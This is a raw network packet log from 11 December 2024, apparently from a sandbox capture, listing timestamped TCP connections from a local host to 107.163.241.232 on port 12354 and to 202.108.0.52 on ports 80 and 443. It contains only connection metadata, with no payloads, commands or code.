Dec 11, 2024 16:24:44.306727886 CET	49826	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.306797981 CET	49824	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:44.314893007 CET	49842	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.423254967 CET	49808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:44.423516989 CET	49844	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:44.423962116 CET	49845	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.434525013 CET	12354	49842	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:44.434737921 CET	49842	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.435282946 CET	49842	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.543016911 CET	80	49844	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:44.543327093 CET	80	49808	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:44.543363094 CET	49844	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:44.543629885 CET	49844	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:44.543725014 CET	12354	49845	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:44.543904066 CET	49808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:44.546982050 CET	49845	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.546982050 CET	49845	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:44.554848909 CET	12354	49842	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:44.663188934 CET	80	49844	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:44.666302919 CET	12354	49845	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.116806984 CET	80	49844	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:46.116859913 CET	49844	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:46.121809959 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:46.121856928 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:46.121946096 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:46.136158943 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:46.136178970 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:46.545602083 CET	12354	49842	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.548873901 CET	49842	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.558990002 CET	49842	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.559426069 CET	49860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.656611919 CET	12354	49845	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.661184072 CET	49845	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.668765068 CET	49845	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.676786900 CET	49861	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.678538084 CET	12354	49842	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.678791046 CET	12354	49860	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.678975105 CET	49860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.678975105 CET	49860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.790870905 CET	12354	49845	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.799128056 CET	12354	49861	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.799211979 CET	49861	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.799393892 CET	49861	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:46.800549984 CET	12354	49860	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:46.919702053 CET	12354	49861	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:48.034436941 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:48.034575939 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:48.035494089 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:48.035554886 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:48.484657049 CET	49861	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.490055084 CET	49860	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.490973949 CET	49873	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.516660929 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:48.516700029 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:48.517033100 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:48.517092943 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:48.520736933 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:48.563334942 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:48.612833023 CET	12354	49873	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:48.612931967 CET	49873	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.632174015 CET	49873	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.640994072 CET	49876	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.751679897 CET	12354	49873	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:48.760643959 CET	12354	49876	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:48.760725975 CET	49876	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.760859013 CET	49876	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:48.881995916 CET	12354	49876	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:49.145095110 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:49.145164013 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:49.145425081 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.148250103 CET	49854	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.148272038 CET	443	49854	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:49.321348906 CET	49844	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.321836948 CET	49883	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.443469048 CET	80	49844	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:49.443490028 CET	80	49883	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:49.443535089 CET	49844	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.443567038 CET	49883	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.443798065 CET	49883	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:49.566975117 CET	80	49883	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:50.723443985 CET	12354	49873	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:50.725707054 CET	49873	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.736990929 CET	49873	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.737703085 CET	49895	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.858807087 CET	12354	49873	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:50.859724045 CET	12354	49895	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:50.859828949 CET	49895	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.870852947 CET	49895	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.875847101 CET	12354	49876	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:50.878226995 CET	49876	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.951025963 CET	49876	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:50.995482922 CET	12354	49895	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:51.010355949 CET	80	49883	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:51.012864113 CET	49883	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:51.077835083 CET	12354	49876	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:51.124481916 CET	49896	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:51.183582067 CET	49898	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:51.183656931 CET	443	49898	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:51.183720112 CET	49898	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:51.244195938 CET	12354	49896	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:51.244326115 CET	49896	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:51.396624088 CET	49898	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:51.396657944 CET	443	49898	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:51.397738934 CET	49896	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:51.517070055 CET	12354	49896	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:52.478622913 CET	49895	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.478655100 CET	49896	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.478693008 CET	49898	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:52.479330063 CET	49910	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.591381073 CET	49883	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:52.592029095 CET	49912	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:52.592322111 CET	49913	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.603310108 CET	12354	49910	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:52.603471041 CET	49910	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.603718042 CET	49910	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.711076975 CET	80	49883	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:52.711272001 CET	80	49912	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:52.711339951 CET	49883	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:52.711381912 CET	49912	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:52.711555958 CET	49912	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:52.711559057 CET	12354	49913	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:52.711622000 CET	49913	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.711688042 CET	49913	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:52.723006010 CET	12354	49910	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:52.831688881 CET	80	49912	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:52.831712961 CET	12354	49913	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.279504061 CET	80	49912	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:54.279618979 CET	49912	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:54.393670082 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:54.393748999 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:54.393834114 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:54.394232988 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:54.394258022 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:54.721663952 CET	12354	49910	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.721811056 CET	49910	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.721858025 CET	49910	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.722716093 CET	49930	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.834841967 CET	12354	49913	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.834909916 CET	49913	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.834991932 CET	49913	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.835381031 CET	49932	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.841258049 CET	12354	49910	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.842366934 CET	12354	49930	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.842463970 CET	49930	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.843027115 CET	49930	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.954843998 CET	12354	49913	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.954876900 CET	12354	49932	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:54.955161095 CET	49932	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.955281973 CET	49932	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:54.962783098 CET	12354	49930	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:55.074640036 CET	12354	49932	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:56.079982042 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.080096006 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.080729961 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.080807924 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.089050055 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.089082003 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.089344978 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.089406967 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.089922905 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.135341883 CET	443	49927	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.482116938 CET	49932	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.482166052 CET	49927	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.482224941 CET	49930	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.493051052 CET	49947	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.593931913 CET	49949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.608846903 CET	49950	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.608967066 CET	49912	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.785206079 CET	12354	49947	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:56.785243988 CET	12354	49949	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:56.785254002 CET	80	49950	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.785264969 CET	80	49912	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:56.785434961 CET	49947	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.785492897 CET	49950	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.785505056 CET	49949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.785506964 CET	49912	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.846805096 CET	49947	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.850697041 CET	49949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:56.850830078 CET	49950	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:56.966311932 CET	12354	49947	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:56.970369101 CET	12354	49949	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:56.970380068 CET	80	49950	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:58.345418930 CET	80	49950	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:58.345520020 CET	49950	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:58.347487926 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:58.347524881 CET	443	49963	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:58.347615957 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:58.347809076 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:58.347829103 CET	443	49963	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:58.890932083 CET	12354	49949	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:58.891117096 CET	12354	49947	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:58.891215086 CET	49947	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:58.891227961 CET	49949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:58.891303062 CET	49947	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:58.891308069 CET	49949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:58.891602039 CET	49969	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:58.996788979 CET	49971	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:59.010618925 CET	12354	49947	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:59.010644913 CET	12354	49949	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:59.010880947 CET	12354	49969	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:59.011398077 CET	49969	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:59.011954069 CET	49969	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:59.116518021 CET	12354	49971	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:59.116621017 CET	49971	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:59.116897106 CET	49971	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:59.131927967 CET	12354	49969	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:59.236488104 CET	12354	49971	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:00.200763941 CET	443	49963	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:00.200849056 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.201314926 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.201323032 CET	443	49963	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:00.203169107 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.203175068 CET	443	49963	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:00.494437933 CET	49971	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.494460106 CET	49963	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.494488955 CET	49969	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.495331049 CET	49985	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.607095003 CET	49987	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.607600927 CET	49950	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.607806921 CET	49988	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.617503881 CET	12354	49985	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:00.617610931 CET	49985	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.617780924 CET	49985	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.726550102 CET	12354	49987	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:00.726663113 CET	49987	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.726824045 CET	49987	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:00.727066994 CET	80	49988	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:00.727142096 CET	49988	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.727209091 CET	80	49950	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:00.727241039 CET	49988	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.727262974 CET	49950	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:00.737224102 CET	12354	49985	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:00.846174955 CET	12354	49987	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:00.846555948 CET	80	49988	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:02.299369097 CET	80	49988	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:02.299433947 CET	49988	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:02.309724092 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:02.309782028 CET	443	50001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:02.309851885 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:02.310616970 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:02.310633898 CET	443	50001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:02.735593081 CET	12354	49985	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.735682964 CET	49985	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.735778093 CET	49985	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.736356974 CET	50005	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.844360113 CET	12354	49987	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.844422102 CET	49987	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.844491959 CET	49987	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.855796099 CET	12354	49985	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.855839968 CET	12354	50005	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.855906010 CET	50005	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.856947899 CET	50005	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.858608007 CET	50008	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.964876890 CET	12354	49987	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.977822065 CET	12354	50005	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.979581118 CET	12354	50008	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:02.979660988 CET	50008	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:02.980178118 CET	50008	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:03.106050968 CET	12354	50008	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:04.011097908 CET	443	50001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:04.011239052 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.011756897 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.011785984 CET	443	50001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:04.013465881 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.013479948 CET	443	50001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:04.494699001 CET	50008	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.494714022 CET	50005	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.494718075 CET	50001	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.498925924 CET	50024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.608546019 CET	49988	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.608793020 CET	50026	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.609009981 CET	50027	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.621423960 CET	12354	50024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:04.621583939 CET	50024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.621783972 CET	50024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.733644009 CET	80	50026	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:04.733719110 CET	50026	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.733771086 CET	80	49988	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:04.733783007 CET	12354	50027	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:04.733822107 CET	49988	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.733844042 CET	50027	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.734020948 CET	50026	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:04.734268904 CET	50027	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:04.745522976 CET	12354	50024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:04.857991934 CET	80	50026	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:04.858541012 CET	12354	50027	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.308722973 CET	80	50026	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:06.308819056 CET	50026	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:06.310959101 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:06.311012983 CET	443	50042	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:06.311084032 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:06.311336994 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:06.311348915 CET	443	50042	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:06.735907078 CET	12354	50024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.736001968 CET	50024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.736095905 CET	50024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.736500978 CET	50046	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.842710018 CET	12354	50027	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.842787981 CET	50027	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.842823982 CET	50027	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.843147993 CET	50048	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.861748934 CET	12354	50024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.862045050 CET	12354	50046	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.862118006 CET	50046	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.862236977 CET	50046	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.963577032 CET	12354	50027	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.963639975 CET	12354	50048	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.963716984 CET	50048	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:06.981836081 CET	12354	50046	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:06.995634079 CET	50048	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:07.115798950 CET	12354	50048	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:08.013787031 CET	443	50042	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:08.013849974 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.014467955 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.014478922 CET	443	50042	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:08.016225100 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.016232967 CET	443	50042	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:08.494548082 CET	50048	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.494719982 CET	50042	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.494720936 CET	50046	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.496407986 CET	50064	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.608133078 CET	50066	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.608467102 CET	50026	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.608714104 CET	50067	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.616241932 CET	12354	50064	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:08.616458893 CET	50064	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.616647959 CET	50064	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.731403112 CET	12354	50066	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:08.731513023 CET	50066	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.731767893 CET	50066	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:08.732055902 CET	80	50067	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:08.732116938 CET	80	50026	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:08.732125998 CET	50067	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.732170105 CET	50026	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.732338905 CET	50067	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:08.740134954 CET	12354	50064	107.163.241.232	192.168.2.4
